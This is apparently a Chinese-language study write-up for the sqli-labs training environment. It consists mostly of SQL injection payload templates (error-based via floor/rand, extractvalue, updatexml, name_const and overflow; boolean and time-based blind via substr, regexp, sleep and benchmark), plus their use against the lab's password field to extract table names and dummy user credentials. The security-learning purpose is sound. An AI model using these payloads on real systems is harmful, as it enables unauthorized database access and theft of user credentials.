之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象
Sqli-labs 博客目录
例句
例句:修改 users 表中名为 inputuser 的数据
UPDATE users SET password = inputpass WHERE username = inputuser;
在命令行执行
获取数据库名
UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("",database(),"",floor(rand()*2)))name from information_schema.tables group by name)b);
获取表名
UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b);
获取列名
UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) ;
获取数据
UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b);
rand() 产生一个不固定的0~1的随机数列,加了参数之后会变成固定的伪随机数列
rand(0),rand(1),当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列
floor 向下取整 floor(2.5) == 2
count()统计元组的个数
concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb'
concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'
extractvalue(最长32位) MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是 ExtractValue()和 UpdateXML()
updateXml(最长32位)
name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处.
布尔型盲注手法,按位爆破
?id=1’and left((select database() limit 0,1),1)=‘s’#
利用 floor(rand(x)*2) 的执行bug进行报错注入
?id=1" union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2))a from information_schema.columns group by a#
?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
利用 extractvalue() 函数报错注入(有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用)
?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
?id=1" and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#
?id=1" and extractvalue(1,concat(0x7e,(database())))#
?id=1" and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#
利用 updatexml() 函数报错注入(有长度限制,最长32位)
?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
利用 name_const 数据的重复性(低版本可用,mysql 5.0可用,mysql 5.6不可用 )
?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
利用 double 数值类型超出范围进行报错注入
?id=1" union select (exp(~(select * from(select user())a))),2,3#
未测试成功
利用 bigint 溢出进行报错注入(这些溢出错误会导致MySQL版本5.5.5及以上)
基于 bigint 溢出错误的SQL注入( https://www.cnblogs.com/lcamry/articles/5509112.html)
未测试成功
?id=1" union select (!(select * from (select user())x) - ~0),2,3#
下面为句式:
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
select ~0+!(select*from(select user())x)
一个句式组合:
(select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)
遇到无法使用 select * from * 查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”
?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
?id=1" union select (exp(~(select * from(select user())a))),2,3#
and so on...
四种方法讲解:
其中:
示例
left()
admin’ and left((要注入的语句),1)=‘xxx’#
admin’and left((select database() limit 0,1),1)=‘s’#
ascii(substr())=xxx //二进制
admin’ and ascii(substr((要注入的语句),0,1))=102#
admin’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101#
xxxx regexp ‘^us[a-z]’
admin’ and ((要注入的语句) regexp ‘^se’ limit 0,1)#
admin’ and (select database() regexp ‘^se’ limit 0,1)#
ord(mid())=xxx // 十六进制
admin’ and ord(mid((select username from security.users limit 0,1),1,1))=68#
admin’ and ord(mid((select password from security.users limit 0,1),1,1))=68#
ifnull(expr1,expr2),含义是:如果第一个参数不为空,则返回第一个参数,否则返回第二个参数。 cast(字段名 as 转换的类型 )
admin’ and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68#
admin’ and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68#
利用 sleep() 函数进行注入
?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#
?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#
当错误的时候会有5 秒的时间延时。
利用 benchmark()进行延时注入
?id=1’ and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#
?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode(‘msg’,‘key’)),1)#
?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode(‘msg’,‘key’)),1)),2,3#
?id=1’ and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#
?id=1’ and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#
?id=1’ and if(ascii(substr(benchmark(50000000,encode(‘msg’,‘key’)),1,1))=115,sleep(5),1)#
?id=1’ union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode(‘msg’,‘key’)),1)),2,3#
当结果正确的时候,运行encode(‘msg’,‘key’)操作50000000 次,会占用一段时间。
benchmark()函数,可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
MySQL 字符串截取函数:left(), right(), substring(), substring_index(), mid(), substr()。其中 mid(), substr() 等价于 substring() 函数
encode() 对字符进行加密运算 mysql加密解密方式用法 encode()、decode()
测试
在 username 中输入 admin
在 password 中输入 1’ or 1=1#
发现是在 password 存在注入点,源代码中是使用的 update 语句,各种盲注手法都是可可以用的
由于在前面的章节都写了很多的注入过程和脚本,这里就不写脚本了,查看文章开头的目录可以找到其他的博客
测试中 updata 语句中不可以使用 select * from * 查询
猜数据库
1’ and extractvalue(1,concat(0x7e,(database())))#
1’ and if(ascii(substr((select database() limit 0,1),2,1))=115,benchmark(50000000,encode(‘msg’,‘key’)),1)#
以上是报错型盲注,结果为 security
猜表名
1’ and ascii(substr((要注入的语句),0,1))=xxx#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))=109#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),3,1))=97#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=114#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),2,1))=101#
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),2,1))=102#
以上是布尔型盲注,ascii(substr())=xxx
结果为 emails referers uagents users
猜列名
1’ and ((要注入的语句) regexp ‘^se’ limit 0,1)#
1’ and (select database() regexp ‘^se’ limit 0,1)#
1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^u’ limit 0,1)#
1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us’ limit 0,1)#
1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^use’ limit 0,1)#
1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)#
以上是布尔型盲注,database() regexp ‘^se’ limit 0,1
结果为 id last password username
猜数据
1’ and (select 1 from (select concat((ascii(substr((select username from security.users limit 0,1),1,1))=117),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#
以上是延时型盲注 benchmark(50000000,encode(‘msg’,‘key’))
1’ and (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
以上是报错型盲注 floor(rand(0)*2)
1’ and exists(select * from (select * from(select name_const((select group_concat(username) from security.users),0))a join(select name_const((select group_concat(username) from security.users),0))b)c)#
以上是报错型盲注 select * from (select * from (name_const()a join name_const()b)c)
结果是:
username: Dumb Angelina Dummy secure stupid superman batman admin admin admin
password: Dumb Ikillyo pssword crappy stupidity genious moble admin admin admin